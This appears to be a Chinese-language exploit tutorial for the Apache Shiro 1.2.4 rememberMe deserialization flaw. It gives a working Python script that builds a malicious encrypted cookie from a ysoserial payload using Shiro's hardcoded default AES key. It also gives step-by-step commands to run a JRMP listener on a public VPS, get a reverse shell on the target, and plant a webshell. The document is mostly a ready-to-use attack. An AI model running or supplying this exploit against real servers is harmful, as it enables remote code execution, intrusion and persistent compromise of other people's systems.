Apache Shiro <= 1.2.4
org.apache.commons中的commons-collections4(理论上commons-collections2也有)
任意http请求中cookie处rememberMe参数
利用位置
Shiro利用maven编译有很多坑点,鉴于过于痛苦,我列出主要坑点
解决上面的环境需求,基本上不会编译失败。
如果你实在是编译失败到没有信心,可以使用我提供的war包: https://pan.baidu.com/s/1dSHR21IQbrLHpaSQ1TI23A
提取码: zg4h
部署war包很简单,只需要将其放到tomcat中的webapps目录下,它将会自动解压,当然它的默认名称是samples-web-1.2.4,为了访问方便我们可以重命名为shiro
shiro
你需要在公网VPS上放置一个ysoserial,配合使用以下python脚本
shiro_exp_payload.py
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
1.先执行反弹shell的命令 2.在vps上执行如下命令
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "反弹shell的命令"
这里的命令,需要使用Java Runtime配合bash编码,CommonsCollections4也可以换成CommonsCollections2
3.使用python脚本
python shiro_exp_payload.py vpsip:1099
python脚本将生成cookie,你将cookie带入http请求中即可反弹shell
例如下图
带cookie访问
反弹shell
写shell的路径可根据下图参考
写shell路径
webshell